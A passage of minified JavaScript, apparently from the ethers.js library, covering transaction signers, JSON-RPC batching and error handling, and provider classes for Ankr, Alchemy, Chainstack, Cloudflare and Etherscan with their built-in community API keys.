if(pop.type===2||pop.type===3||pop.type===4){if(pop.maxFeePerGas==null){pop.maxFeePerGas=feeData.maxFeePerGas}if(pop.maxPriorityFeePerGas==null){pop.maxPriorityFeePerGas=feeData.maxPriorityFeePerGas}}}return await resolveProperties(pop)}async populateAuthorization(_auth){const auth=Object.assign({},_auth);if(auth.chainId==null){auth.chainId=(await checkProvider(this,"getNetwork").getNetwork()).chainId}if(auth.nonce==null){auth.nonce=await this.getNonce()}return auth}async estimateGas(tx){return checkProvider(this,"estimateGas").estimateGas(await this.populateCall(tx))}async call(tx){return checkProvider(this,"call").call(await this.populateCall(tx))}async resolveName(name){const provider=checkProvider(this,"resolveName");return await provider.resolveName(name)}async sendTransaction(tx){const provider=checkProvider(this,"sendTransaction");const pop=await this.populateTransaction(tx);delete pop.from;const txObj=Transaction.from(pop);return await provider.broadcastTransaction(await this.signTransaction(txObj))}authorize(authorization){assert(false,"authorization not implemented for this signer","UNSUPPORTED_OPERATION",{operation:"authorize"})}}class VoidSigner extends AbstractSigner{address;constructor(address,provider){super(provider);defineProperties(this,{address:address})}async getAddress(){return this.address}connect(provider){return new VoidSigner(this.address,provider)}#throwUnsupported(suffix,operation){assert(false,`VoidSigner cannot sign ${suffix}`,"UNSUPPORTED_OPERATION",{operation:operation})}async signTransaction(tx){this.#throwUnsupported("transactions","signTransaction")}async signMessage(message){this.#throwUnsupported("messages","signMessage")}async signTypedData(domain,types,value){this.#throwUnsupported("typed-data","signTypedData")}}const shown=new Set;function showThrottleMessage(service){if(shown.has(service)){return}shown.add(service);console.log("========= NOTICE =========");console.log(`Request-Rate Exceeded for ${service} (this message will not be repeated)`);console.log("");console.log("The default API keys for each service are provided as a highly-throttled,");console.log("community resource for low-traffic projects and early prototyping.");console.log("");console.log("While your application will continue to function, we highly recommended");console.log("signing up for your own API keys to improve performance, increase your");console.log("request rate/limit and enable other perks, such as metrics and advanced APIs.");console.log("");console.log("For more details: https://docs.ethers.org/api-keys/");console.log("==========================")}function copy(obj){return JSON.parse(JSON.stringify(obj))}class FilterIdSubscriber{#provider;#filterIdPromise;#poller;#running;#network;#hault;constructor(provider){this.#provider=provider;this.#filterIdPromise=null;this.#poller=this.#poll.bind(this);this.#running=false;this.#network=null;this.#hault=false}_subscribe(provider){throw new Error("subclasses must override this")}_emitResults(provider,result){throw new Error("subclasses must override this")}_recover(provider){throw new Error("subclasses must override this")}async#poll(blockNumber){try{if(this.#filterIdPromise==null){this.#filterIdPromise=this._subscribe(this.#provider)}let filterId=null;try{filterId=await this.#filterIdPromise}catch(error){if(!isError(error,"UNSUPPORTED_OPERATION")||error.operation!=="eth_newFilter"){throw error}}if(filterId==null){this.#filterIdPromise=null;this.#provider._recoverSubscriber(this,this._recover(this.#provider));return}const network=await this.#provider.getNetwork();if(!this.#network){this.#network=network}if(this.#network.chainId!==network.chainId){throw new Error("chaid changed")}if(this.#hault){return}const result=await this.#provider.send("eth_getFilterChanges",[filterId]);await this._emitResults(this.#provider,result)}catch(error){console.log("@TODO",error)}this.#provider.once("block",this.#poller)}#teardown(){const filterIdPromise=this.#filterIdPromise;if(filterIdPromise){this.#filterIdPromise=null;filterIdPromise.then(filterId=>{if(this.#provider.destroyed){return}this.#provider.send("eth_uninstallFilter",[filterId])})}}start(){if(this.#running){return}this.#running=true;this.#poll(-2)}stop(){if(!this.#running){return}this.#running=false;this.#hault=true;this.#teardown();this.#provider.off("block",this.#poller)}pause(dropWhilePaused){if(dropWhilePaused){this.#teardown()}this.#provider.off("block",this.#poller)}resume(){this.start()}}class FilterIdEventSubscriber extends FilterIdSubscriber{#event;constructor(provider,filter){super(provider);this.#event=copy(filter)}_recover(provider){return new PollingEventSubscriber(provider,this.#event)}async _subscribe(provider){const filterId=await provider.send("eth_newFilter",[this.#event]);return filterId}async _emitResults(provider,results){for(const result of results){provider.emit(this.#event,provider._wrapLog(result,provider._network))}}}class FilterIdPendingSubscriber extends FilterIdSubscriber{async _subscribe(provider){return await provider.send("eth_newPendingTransactionFilter",[])}async _emitResults(provider,results){for(const result of results){provider.emit("pending",result)}}}const Primitive="bigint,boolean,function,number,string,symbol".split(/,/g);function deepCopy(value){if(value==null||Primitive.indexOf(typeof value)>=0){return value}if(typeof value.getAddress==="function"){return value}if(Array.isArray(value)){return value.map(deepCopy)}if(typeof value==="object"){return Object.keys(value).reduce((accum,key)=>{accum[key]=value[key];return accum},{})}throw new Error(`should not happen: ${value} (${typeof value})`)}function stall$3(duration){return new Promise(resolve=>{setTimeout(resolve,duration)})}function getLowerCase(value){if(value){return value.toLowerCase()}return value}function isPollable(value){return value&&typeof value.pollingInterval==="number"}const defaultOptions={polling:false,staticNetwork:null,batchStallTime:10,batchMaxSize:1<<20,batchMaxCount:100,cacheTimeout:250,pollingInterval:4e3};class JsonRpcSigner extends AbstractSigner{address;constructor(provider,address){super(provider);address=getAddress(address);defineProperties(this,{address:address})}connect(provider){assert(false,"cannot reconnect JsonRpcSigner","UNSUPPORTED_OPERATION",{operation:"signer.connect"})}async getAddress(){return this.address}async populateTransaction(tx){return await this.populateCall(tx)}async sendUncheckedTransaction(_tx){const tx=deepCopy(_tx);const promises=[];if(tx.from){const _from=tx.from;promises.push((async()=>{const from=await resolveAddress(_from,this.provider);assertArgument(from!=null&&from.toLowerCase()===this.address.toLowerCase(),"from address mismatch","transaction",_tx);tx.from=from})())}else{tx.from=this.address}if(tx.gasLimit==null){promises.push((async()=>{tx.gasLimit=await this.provider.estimateGas({...tx,from:this.address})})())}if(tx.to!=null){const _to=tx.to;promises.push((async()=>{tx.to=await resolveAddress(_to,this.provider)})())}if(promises.length){await Promise.all(promises)}const hexTx=this.provider.getRpcTransaction(tx);return this.provider.send("eth_sendTransaction",[hexTx])}async sendTransaction(tx){const blockNumber=await this.provider.getBlockNumber();const hash=await this.sendUncheckedTransaction(tx);return await new Promise((resolve,reject)=>{const timeouts=[1e3,100];let invalids=0;const checkTx=async()=>{try{const tx=await this.provider.getTransaction(hash);if(tx!=null){resolve(tx.replaceableTransaction(blockNumber));return}}catch(error){if(isError(error,"CANCELLED")||isError(error,"BAD_DATA")||isError(error,"NETWORK_ERROR")||isError(error,"UNSUPPORTED_OPERATION")){if(error.info==null){error.info={}}error.info.sendTransactionHash=hash;reject(error);return}if(isError(error,"INVALID_ARGUMENT")){invalids++;if(error.info==null){error.info={}}error.info.sendTransactionHash=hash;if(invalids>10){reject(error);return}}this.provider.emit("error",makeError("failed to fetch transation after sending (will try again)","UNKNOWN_ERROR",{error:error}))}this.provider._setTimeout(()=>{checkTx()},timeouts.pop()||4e3)};checkTx()})}async signTransaction(_tx){const tx=deepCopy(_tx);if(tx.from){const from=await resolveAddress(tx.from,this.provider);assertArgument(from!=null&&from.toLowerCase()===this.address.toLowerCase(),"from address mismatch","transaction",_tx);tx.from=from}else{tx.from=this.address}const hexTx=this.provider.getRpcTransaction(tx);return await this.provider.send("eth_signTransaction",[hexTx])}async signMessage(_message){const message=typeof _message==="string"?toUtf8Bytes(_message):_message;return await this.provider.send("personal_sign",[hexlify(message),this.address.toLowerCase()])}async signTypedData(domain,types,_value){const value=deepCopy(_value);const populated=await TypedDataEncoder.resolveNames(domain,types,value,async value=>{const address=await resolveAddress(value);assertArgument(address!=null,"TypedData does not support null address","value",value);return address});return await this.provider.send("eth_signTypedData_v4",[this.address.toLowerCase(),JSON.stringify(TypedDataEncoder.getPayload(populated.domain,types,populated.value))])}async unlock(password){return this.provider.send("personal_unlockAccount",[this.address.toLowerCase(),password,null])}async _legacySignMessage(_message){const message=typeof _message==="string"?toUtf8Bytes(_message):_message;return await this.provider.send("eth_sign",[this.address.toLowerCase(),hexlify(message)])}}class JsonRpcApiProvider extends AbstractProvider{#options;#nextId;#payloads;#drainTimer;#notReady;#network;#pendingDetectNetwork;#scheduleDrain(){if(this.#drainTimer){return}const stallTime=this._getOption("batchMaxCount")===1?0:this._getOption("batchStallTime");this.#drainTimer=setTimeout(()=>{this.#drainTimer=null;const payloads=this.#payloads;this.#payloads=[];while(payloads.length){const batch=[payloads.shift()];while(payloads.length){if(batch.length===this.#options.batchMaxCount){break}batch.push(payloads.shift());const bytes=JSON.stringify(batch.map(p=>p.payload));if(bytes.length>this.#options.batchMaxSize){payloads.unshift(batch.pop());break}}(async()=>{const payload=batch.length===1?batch[0].payload:batch.map(p=>p.payload);this.emit("debug",{action:"sendRpcPayload",payload:payload});try{const result=await this._send(payload);this.emit("debug",{action:"receiveRpcResult",result:result});for(const{resolve,reject,payload}of batch){if(this.destroyed){reject(makeError("provider destroyed; cancelled request","UNSUPPORTED_OPERATION",{operation:payload.method}));continue}const resp=result.filter(r=>r.id===payload.id)[0];if(resp==null){const error=makeError("missing response for request","BAD_DATA",{value:result,info:{payload:payload}});this.emit("error",error);reject(error);continue}if("error"in resp){reject(this.getRpcError(payload,resp));continue}resolve(resp.result)}}catch(error){this.emit("debug",{action:"receiveRpcError",error:error});for(const{reject}of batch){reject(error)}}})()}},stallTime)}constructor(network,options){super(network,options);this.#nextId=1;this.#options=Object.assign({},defaultOptions,options||{});this.#payloads=[];this.#drainTimer=null;this.#network=null;this.#pendingDetectNetwork=null;{let resolve=null;const promise=new Promise(_resolve=>{resolve=_resolve});this.#notReady={promise:promise,resolve:resolve}}const staticNetwork=this._getOption("staticNetwork");if(typeof staticNetwork==="boolean"){assertArgument(!staticNetwork||network!=="any","staticNetwork cannot be used on special network 'any'","options",options);if(staticNetwork&&network!=null){this.#network=Network.from(network)}}else if(staticNetwork){assertArgument(network==null||staticNetwork.matches(network),"staticNetwork MUST match network object","options",options);this.#network=staticNetwork}}_getOption(key){return this.#options[key]}get _network(){assert(this.#network,"network is not available yet","NETWORK_ERROR");return this.#network}async _perform(req){if(req.method==="call"||req.method==="estimateGas"){let tx=req.transaction;if(tx&&tx.type!=null&&getBigInt(tx.type)){if(tx.maxFeePerGas==null&&tx.maxPriorityFeePerGas==null){const feeData=await this.getFeeData();if(feeData.maxFeePerGas==null&&feeData.maxPriorityFeePerGas==null){req=Object.assign({},req,{transaction:Object.assign({},tx,{type:undefined})})}}}}const request=this.getRpcRequest(req);if(request!=null){return await this.send(request.method,request.args)}return super._perform(req)}async _detectNetwork(){const network=this._getOption("staticNetwork");if(network){if(network===true){if(this.#network){return this.#network}}else{return network}}if(this.#pendingDetectNetwork){return await this.#pendingDetectNetwork}if(this.ready){this.#pendingDetectNetwork=(async()=>{try{const result=Network.from(getBigInt(await this.send("eth_chainId",[])));this.#pendingDetectNetwork=null;return result}catch(error){this.#pendingDetectNetwork=null;throw error}})();return await this.#pendingDetectNetwork}this.#pendingDetectNetwork=(async()=>{const payload={id:this.#nextId++,method:"eth_chainId",params:[],jsonrpc:"2.0"};this.emit("debug",{action:"sendRpcPayload",payload:payload});let result;try{result=(await this._send(payload))[0];this.#pendingDetectNetwork=null}catch(error){this.#pendingDetectNetwork=null;this.emit("debug",{action:"receiveRpcError",error:error});throw error}this.emit("debug",{action:"receiveRpcResult",result:result});if("result"in result){return Network.from(getBigInt(result.result))}throw this.getRpcError(payload,result)})();return await this.#pendingDetectNetwork}_start(){if(this.#notReady==null||this.#notReady.resolve==null){return}this.#notReady.resolve();this.#notReady=null;(async()=>{while(this.#network==null&&!this.destroyed){try{this.#network=await this._detectNetwork()}catch(error){if(this.destroyed){break}console.log("JsonRpcProvider failed to detect network and cannot start up; retry in 1s (perhaps the URL is wrong or the node is not started)");this.emit("error",makeError("failed to bootstrap network detection","NETWORK_ERROR",{event:"initial-network-discovery",info:{error:error}}));await stall$3(1e3)}}this.#scheduleDrain()})()}async _waitUntilReady(){if(this.#notReady==null){return}return await this.#notReady.promise}_getSubscriber(sub){if(sub.type==="pending"){return new FilterIdPendingSubscriber(this)}if(sub.type==="event"){if(this._getOption("polling")){return new PollingEventSubscriber(this,sub.filter)}return new FilterIdEventSubscriber(this,sub.filter)}if(sub.type==="orphan"&&sub.filter.orphan==="drop-log"){return new UnmanagedSubscriber("orphan")}return super._getSubscriber(sub)}get ready(){return this.#notReady==null}getRpcTransaction(tx){const result={};["chainId","gasLimit","gasPrice","type","maxFeePerGas","maxPriorityFeePerGas","nonce","value"].forEach(key=>{if(tx[key]==null){return}let dstKey=key;if(key==="gasLimit"){dstKey="gas"}result[dstKey]=toQuantity(getBigInt(tx[key],`tx.${key}`))});["from","to","data"].forEach(key=>{if(tx[key]==null){return}result[key]=hexlify(tx[key])});if(tx.accessList){result["accessList"]=accessListify(tx.accessList)}if(tx.blobVersionedHashes){result["blobVersionedHashes"]=tx.blobVersionedHashes.map(h=>h.toLowerCase())}if(tx.authorizationList){result["authorizationList"]=tx.authorizationList.map(_a=>{const a=authorizationify(_a);return{address:a.address,nonce:toQuantity(a.nonce),chainId:toQuantity(a.chainId),yParity:toQuantity(a.signature.yParity),r:toQuantity(a.signature.r),s:toQuantity(a.signature.s)}})}return result}getRpcRequest(req){switch(req.method){case"chainId":return{method:"eth_chainId",args:[]};case"getBlockNumber":return{method:"eth_blockNumber",args:[]};case"getGasPrice":return{method:"eth_gasPrice",args:[]};case"getPriorityFee":return{method:"eth_maxPriorityFeePerGas",args:[]};case"getBalance":return{method:"eth_getBalance",args:[getLowerCase(req.address),req.blockTag]};case"getTransactionCount":return{method:"eth_getTransactionCount",args:[getLowerCase(req.address),req.blockTag]};case"getCode":return{method:"eth_getCode",args:[getLowerCase(req.address),req.blockTag]};case"getStorage":return{method:"eth_getStorageAt",args:[getLowerCase(req.address),"0x"+req.position.toString(16),req.blockTag]};case"broadcastTransaction":return{method:"eth_sendRawTransaction",args:[req.signedTransaction]};case"getBlock":if("blockTag"in req){return{method:"eth_getBlockByNumber",args:[req.blockTag,!!req.includeTransactions]}}else if("blockHash"in req){return{method:"eth_getBlockByHash",args:[req.blockHash,!!req.includeTransactions]}}break;case"getTransaction":return{method:"eth_getTransactionByHash",args:[req.hash]};case"getTransactionReceipt":return{method:"eth_getTransactionReceipt",args:[req.hash]};case"call":return{method:"eth_call",args:[this.getRpcTransaction(req.transaction),req.blockTag]};case"estimateGas":{return{method:"eth_estimateGas",args:[this.getRpcTransaction(req.transaction)]}}case"getLogs":if(req.filter&&req.filter.address!=null){if(Array.isArray(req.filter.address)){req.filter.address=req.filter.address.map(getLowerCase)}else{req.filter.address=getLowerCase(req.filter.address)}}return{method:"eth_getLogs",args:[req.filter]}}return null}getRpcError(payload,_error){const{method}=payload;const{error}=_error;if(method==="eth_estimateGas"&&error.message){const msg=error.message;if(!msg.match(/revert/i)&&msg.match(/insufficient funds/i)){return makeError("insufficient funds","INSUFFICIENT_FUNDS",{transaction:payload.params[0],info:{payload:payload,error:error}})}else if(msg.match(/nonce/i)&&msg.match(/too low/i)){return makeError("nonce has already been used","NONCE_EXPIRED",{transaction:payload.params[0],info:{payload:payload,error:error}})}}if(method==="eth_call"||method==="eth_estimateGas"){const result=spelunkData(error);const e=AbiCoder.getBuiltinCallException(method==="eth_call"?"call":"estimateGas",payload.params[0],result?result.data:null);e.info={error:error,payload:payload};return e}const message=JSON.stringify(spelunkMessage(error));if(typeof error.message==="string"&&error.message.match(/user denied|ethers-user-denied/i)){const actionMap={eth_sign:"signMessage",personal_sign:"signMessage",eth_signTypedData_v4:"signTypedData",eth_signTransaction:"signTransaction",eth_sendTransaction:"sendTransaction",eth_requestAccounts:"requestAccess",wallet_requestAccounts:"requestAccess"};return makeError(`user rejected action`,"ACTION_REJECTED",{action:actionMap[method]||"unknown",reason:"rejected",info:{payload:payload,error:error}})}if(method==="eth_sendRawTransaction"||method==="eth_sendTransaction"){const transaction=payload.params[0];if(message.match(/insufficient funds|base fee exceeds gas limit/i)){return makeError("insufficient funds for intrinsic transaction cost","INSUFFICIENT_FUNDS",{transaction:transaction,info:{error:error}})}if(message.match(/nonce/i)&&message.match(/too low/i)){return makeError("nonce has already been used","NONCE_EXPIRED",{transaction:transaction,info:{error:error}})}if(message.match(/replacement transaction/i)&&message.match(/underpriced/i)){return makeError("replacement fee too low","REPLACEMENT_UNDERPRICED",{transaction:transaction,info:{error:error}})}if(message.match(/only replay-protected/i)){return makeError("legacy pre-eip-155 transactions not supported","UNSUPPORTED_OPERATION",{operation:method,info:{transaction:transaction,info:{error:error}}})}}let unsupported=!!message.match(/the method .* does not exist/i);if(!unsupported){if(error&&error.details&&error.details.startsWith("Unauthorized method:")){unsupported=true}}if(unsupported){return makeError("unsupported operation","UNSUPPORTED_OPERATION",{operation:payload.method,info:{error:error,payload:payload}})}return makeError("could not coalesce error","UNKNOWN_ERROR",{error:error,payload:payload})}send(method,params){if(this.destroyed){return Promise.reject(makeError("provider destroyed; cancelled request","UNSUPPORTED_OPERATION",{operation:method}))}const id=this.#nextId++;const promise=new Promise((resolve,reject)=>{this.#payloads.push({resolve:resolve,reject:reject,payload:{method:method,params:params,id:id,jsonrpc:"2.0"}})});this.#scheduleDrain();return promise}async getSigner(address){if(address==null){address=0}const accountsPromise=this.send("eth_accounts",[]);if(typeof address==="number"){const accounts=await accountsPromise;if(address>=accounts.length){throw new Error("no such account")}return new JsonRpcSigner(this,accounts[address])}const{accounts}=await resolveProperties({network:this.getNetwork(),accounts:accountsPromise});address=getAddress(address);for(const account of accounts){if(getAddress(account)===address){return new JsonRpcSigner(this,address)}}throw new Error("invalid account")}async listAccounts(){const accounts=await this.send("eth_accounts",[]);return accounts.map(a=>new JsonRpcSigner(this,a))}destroy(){if(this.#drainTimer){clearTimeout(this.#drainTimer);this.#drainTimer=null}for(const{payload,reject}of this.#payloads){reject(makeError("provider destroyed; cancelled request","UNSUPPORTED_OPERATION",{operation:payload.method}))}this.#payloads=[];super.destroy()}}class JsonRpcApiPollingProvider extends JsonRpcApiProvider{#pollingInterval;constructor(network,options){super(network,options);let pollingInterval=this._getOption("pollingInterval");if(pollingInterval==null){pollingInterval=defaultOptions.pollingInterval}this.#pollingInterval=pollingInterval}_getSubscriber(sub){const subscriber=super._getSubscriber(sub);if(isPollable(subscriber)){subscriber.pollingInterval=this.#pollingInterval}return subscriber}get pollingInterval(){return this.#pollingInterval}set pollingInterval(value){if(!Number.isInteger(value)||value<0){throw new Error("invalid interval")}this.#pollingInterval=value;this._forEachSubscriber(sub=>{if(isPollable(sub)){sub.pollingInterval=this.#pollingInterval}})}}class JsonRpcProvider extends JsonRpcApiPollingProvider{#connect;constructor(url,network,options){if(url==null){url="http://localhost:8545"}super(network,options);if(typeof url==="string"){this.#connect=new FetchRequest(url)}else{this.#connect=url.clone()}}_getConnection(){return this.#connect.clone()}async send(method,params){await this._start();return await super.send(method,params)}async _send(payload){const request=this._getConnection();request.body=JSON.stringify(payload);request.setHeader("content-type","application/json");const response=await request.send();response.assertOk();let resp=response.bodyJson;if(!Array.isArray(resp)){resp=[resp]}return resp}}function spelunkData(value){if(value==null){return null}if(typeof value.message==="string"&&value.message.match(/revert/i)&&isHexString(value.data)){return{message:value.message,data:value.data}}if(typeof value==="object"){for(const key in value){const result=spelunkData(value[key]);if(result){return result}}return null}if(typeof value==="string"){try{return spelunkData(JSON.parse(value))}catch(error){}}return null}function _spelunkMessage(value,result){if(value==null){return}if(typeof value.message==="string"){result.push(value.message)}if(typeof value==="object"){for(const key in value){_spelunkMessage(value[key],result)}}if(typeof value==="string"){try{return _spelunkMessage(JSON.parse(value),result)}catch(error){}}}function spelunkMessage(value){const result=[];_spelunkMessage(value,result);return result}const defaultApiKey$1="9f7d929b018cdffb338517efa06f58359e86ff1ffd350bc889738523659e7972";function getHost$5(name){switch(name){case"mainnet":return"rpc.ankr.com/eth";case"goerli":return"rpc.ankr.com/eth_goerli";case"sepolia":return"rpc.ankr.com/eth_sepolia";case"arbitrum":return"rpc.ankr.com/arbitrum";case"base":return"rpc.ankr.com/base";case"base-goerli":return"rpc.ankr.com/base_goerli";case"base-sepolia":return"rpc.ankr.com/base_sepolia";case"bnb":return"rpc.ankr.com/bsc";case"bnbt":return"rpc.ankr.com/bsc_testnet_chapel";case"matic":return"rpc.ankr.com/polygon";case"matic-mumbai":return"rpc.ankr.com/polygon_mumbai";case"optimism":return"rpc.ankr.com/optimism";case"optimism-goerli":return"rpc.ankr.com/optimism_testnet";case"optimism-sepolia":return"rpc.ankr.com/optimism_sepolia"}assertArgument(false,"unsupported network","network",name)}class AnkrProvider extends JsonRpcProvider{apiKey;constructor(_network,apiKey){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(apiKey==null){apiKey=defaultApiKey$1}const options={polling:true,staticNetwork:network};const request=AnkrProvider.getRequest(network,apiKey);super(request,network,options);defineProperties(this,{apiKey:apiKey})}_getProvider(chainId){try{return new AnkrProvider(chainId,this.apiKey)}catch(error){}return super._getProvider(chainId)}static getRequest(network,apiKey){if(apiKey==null){apiKey=defaultApiKey$1}const request=new FetchRequest(`https:/\/${getHost$5(network.name)}/${apiKey}`);request.allowGzip=true;if(apiKey===defaultApiKey$1){request.retryFunc=async(request,response,attempt)=>{showThrottleMessage("AnkrProvider");return true}}return request}getRpcError(payload,error){if(payload.method==="eth_sendRawTransaction"){if(error&&error.error&&error.error.message==="INTERNAL_ERROR: could not replace existing tx"){error.error.message="replacement transaction underpriced"}}return super.getRpcError(payload,error)}isCommunityResource(){return this.apiKey===defaultApiKey$1}}const defaultApiKey="_gg7wSSi0KMBsdKnGVfHDueq6xMB9EkC";function getHost$4(name){switch(name){case"mainnet":return"eth-mainnet.alchemyapi.io";case"goerli":return"eth-goerli.g.alchemy.com";case"sepolia":return"eth-sepolia.g.alchemy.com";case"arbitrum":return"arb-mainnet.g.alchemy.com";case"arbitrum-goerli":return"arb-goerli.g.alchemy.com";case"arbitrum-sepolia":return"arb-sepolia.g.alchemy.com";case"base":return"base-mainnet.g.alchemy.com";case"base-goerli":return"base-goerli.g.alchemy.com";case"base-sepolia":return"base-sepolia.g.alchemy.com";case"matic":return"polygon-mainnet.g.alchemy.com";case"matic-amoy":return"polygon-amoy.g.alchemy.com";case"matic-mumbai":return"polygon-mumbai.g.alchemy.com";case"optimism":return"opt-mainnet.g.alchemy.com";case"optimism-goerli":return"opt-goerli.g.alchemy.com";case"optimism-sepolia":return"opt-sepolia.g.alchemy.com"}assertArgument(false,"unsupported network","network",name)}class AlchemyProvider extends JsonRpcProvider{apiKey;constructor(_network,apiKey){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(apiKey==null){apiKey=defaultApiKey}const request=AlchemyProvider.getRequest(network,apiKey);super(request,network,{staticNetwork:network});defineProperties(this,{apiKey:apiKey})}_getProvider(chainId){try{return new AlchemyProvider(chainId,this.apiKey)}catch(error){}return super._getProvider(chainId)}async _perform(req){if(req.method==="getTransactionResult"){const{trace,tx}=await resolveProperties({trace:this.send("trace_transaction",[req.hash]),tx:this.getTransaction(req.hash)});if(trace==null||tx==null){return null}let data;let error=false;try{data=trace[0].result.output;error=trace[0].error==="Reverted"}catch(error){}if(data){assert(!error,"an error occurred during transaction executions","CALL_EXCEPTION",{action:"getTransactionResult",data:data,reason:null,transaction:tx,invocation:null,revert:null});return data}assert(false,"could not parse trace result","BAD_DATA",{value:trace})}return await super._perform(req)}isCommunityResource(){return this.apiKey===defaultApiKey}static getRequest(network,apiKey){if(apiKey==null){apiKey=defaultApiKey}const request=new FetchRequest(`https:/\/${getHost$4(network.name)}/v2/${apiKey}`);request.allowGzip=true;if(apiKey===defaultApiKey){request.retryFunc=async(request,response,attempt)=>{showThrottleMessage("alchemy");return true}}return request}}function getApiKey(name){switch(name){case"mainnet":return"39f1d67cedf8b7831010a665328c9197";case"arbitrum":return"0550c209db33c3abf4cc927e1e18cea1";case"bnb":return"98b5a77e531614387366f6fc5da097f8";case"matic":return"cd9d4d70377471aa7c142ec4a4205249"}assertArgument(false,"unsupported network","network",name)}function getHost$3(name){switch(name){case"mainnet":return"ethereum-mainnet.core.chainstack.com";case"arbitrum":return"arbitrum-mainnet.core.chainstack.com";case"bnb":return"bsc-mainnet.core.chainstack.com";case"matic":return"polygon-mainnet.core.chainstack.com"}assertArgument(false,"unsupported network","network",name)}class ChainstackProvider extends JsonRpcProvider{apiKey;constructor(_network,apiKey){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(apiKey==null){apiKey=getApiKey(network.name)}const request=ChainstackProvider.getRequest(network,apiKey);super(request,network,{staticNetwork:network});defineProperties(this,{apiKey:apiKey})}_getProvider(chainId){try{return new ChainstackProvider(chainId,this.apiKey)}catch(error){}return super._getProvider(chainId)}isCommunityResource(){return this.apiKey===getApiKey(this._network.name)}static getRequest(network,apiKey){if(apiKey==null){apiKey=getApiKey(network.name)}const request=new FetchRequest(`https:/\/${getHost$3(network.name)}/${apiKey}`);request.allowGzip=true;if(apiKey===getApiKey(network.name)){request.retryFunc=async(request,response,attempt)=>{showThrottleMessage("ChainstackProvider");return true}}return request}}class CloudflareProvider extends JsonRpcProvider{constructor(_network){if(_network==null){_network="mainnet"}const network=Network.from(_network);assertArgument(network.name==="mainnet","unsupported network","network",_network);super("https://cloudflare-eth.com/",network,{staticNetwork:network})}}const THROTTLE=2e3;function isPromise(value){return value&&typeof value.then==="function"}const EtherscanPluginId="org.ethers.plugins.provider.Etherscan";class EtherscanPlugin extends NetworkPlugin{baseUrl;constructor(baseUrl){super(EtherscanPluginId);defineProperties(this,{baseUrl:baseUrl})}clone(){return new EtherscanPlugin(this.baseUrl)}}const skipKeys=["enableCcipRead"];let nextId=1;class EtherscanProvider extends AbstractProvider{network;apiKey;#plugin;constructor(_network,_apiKey){const apiKey=_apiKey!=null?_apiKey:null;super();const network=Network.from(_network);this.#plugin=network.getPlugin(EtherscanPluginId);defineProperties(this,{apiKey:apiKey,network:network})}getBaseUrl(){if(this.#plugin){return this.#plugin.baseUrl}switch(this.network.name){case"mainnet":return"https://api.etherscan.io";case"goerli":return"https://api-goerli.etherscan.io";case"sepolia":return"https://api-sepolia.etherscan.io";case"holesky":return"https://api-holesky.etherscan.io";case"arbitrum":return"https://api.arbiscan.io";case"arbitrum-goerli":return"https://api-goerli.arbiscan.io";case"base":return"https://api.basescan.org";case"base-sepolia":return"https://api-sepolia.basescan.org";case"bnb":return"https://api.bscscan.com";case"bnbt":return"https://api-testnet.bscscan.com";case"matic":return"https://api.polygonscan.com";case"matic-amoy":return"https://api-amoy.polygonscan.com";case"matic-mumbai":return"https://api-testnet.polygonscan.com";case"optimism":return"https://api-optimistic.etherscan.io";case"optimism-goerli":return"https://api-goerli-optimistic.etherscan.io"}assertArgument(false,"unsupported network","network",this.network)}getUrl(module,params){let query=Object.keys(params).reduce((accum,key)=>{const value=params[key];if(value!=null){accum+=`&${key}=${value}`}return accum},"");if(this.apiKey){query+=`&apikey=${this.apiKey}`}return`https:/\/api.etherscan.io/v2/api?chainid=${this.network.chainId}&module=${module}${query}`}getPostUrl(){return`https:/\/api.etherscan.io/v2/api?chainid=${this.network.chainId}`}getPostData(module,params){params.module=module;params.apikey=this.apiKey;params.chainid=this.network.chainId;return params}async detectNetwork(){return this.network}async fetch(module,params,post){const id=nextId++;const url=post?this.getPostUrl():this.getUrl(module,params);const payload=post?this.getPostData(module,params):null;this.emit("debug",{action:"sendRequest",id:id,url:url,payload:payload});const request=new FetchRequest(url);request.setThrottleParams({slotInterval:1e3});request.retryFunc=(req,resp,attempt)=>{if(this.isCommunityResource()){showThrottleMessage("Etherscan")}return Promise.resolve(true)};request.processFunc=async(request,response)=>{const result=response.hasBody()?JSON.parse(toUtf8String(response.body)):{};const throttle=(typeof result.result==="string"?result.result:"").toLowerCase().indexOf("rate limit")>=0;if(module==="proxy"){if(result&&result.status==0&&result.message=="NOTOK"&&throttle){this.emit("debug",{action:"receiveError",id:id,reason:"proxy-NOTOK",error:result});response.throwThrottleError(result.result,THROTTLE)}}else{if(throttle){this.emit("debug",{action:"receiveError",id:id,reason:"null result",error:result.result});response.throwThrottleError(result.result,THROTTLE)}}return response};if(payload){request.setHeader("content-type","application/x-www-form-urlencoded; charset=UTF-8");request.body=Object.keys(payload).map(k=>`${k}=${payload[k]}`).join("&")}const response=await request.send();try{response.assertOk()}catch(error){this.emit("debug",{action:"receiveError",id:id,error:error,reason:"assertOk"});assert(false,"response error","SERVER_ERROR",{request:request,response:response})}if(!response.hasBody()){this.emit("debug",{action:"receiveError",id:id,error:"missing body",reason:"null body"});assert(false,"missing response","SERVER_ERROR",{request:request,response:response})}const result=JSON.parse(toUtf8String(response.body));if(module==="proxy"){if(result.jsonrpc!="2.0"){this.emit("debug",{action:"receiveError",id:id,result:result,reason:"invalid JSON-RPC"});assert(false,"invalid JSON-RPC response (missing jsonrpc='2.0')","SERVER_ERROR",{request:request,response:response,info:{result:result}})}if(result.error){this.emit("debug",{action:"receiveError",id:id,result:result,reason:"JSON-RPC error"});assert(false,"error response","SERVER_ERROR",{request:request,response:response,info:{result:result}})}this.emit("debug",{action:"receiveRequest",id:id,result:result});return result.result}else{if(result.status==0&&(result.message==="No records found"||result.message==="No transactions found")){this.emit("debug",{action:"receiveRequest",id:id,result:result});return result.result}if(result.status!=1||typeof result.message==="string"&&!result.message.match(/^OK/)){this.emit("debug",{action:"receiveError",id:id,result:result});assert(false,"error response","SERVER_ERROR",{request:request,response:response,info:{result:result}})}this.emit("debug",{action:"receiveRequest",id:id,result:result});return result.result}}_getTransactionPostData(transaction){const result={};for(let key in transaction){if(skipKeys.indexOf(key)>=0){continue}if(transaction[key]==null){continue}let value=transaction[key];if(key==="type"&&value===0){continue}if(key==="blockTag"&&value==="latest"){continue}if({type:true,gasLimit:true,gasPrice:true,maxFeePerGs:true,maxPriorityFeePerGas:true,nonce:true,value:true}[key]){value=toQuantity(value)}else if(key==="accessList"){value="["+accessListify(value).map(set=>{return`{address:"${set.address}",storageKeys:["${set.storageKeys.join('","')}"]}`}).join(",")+"]"}else 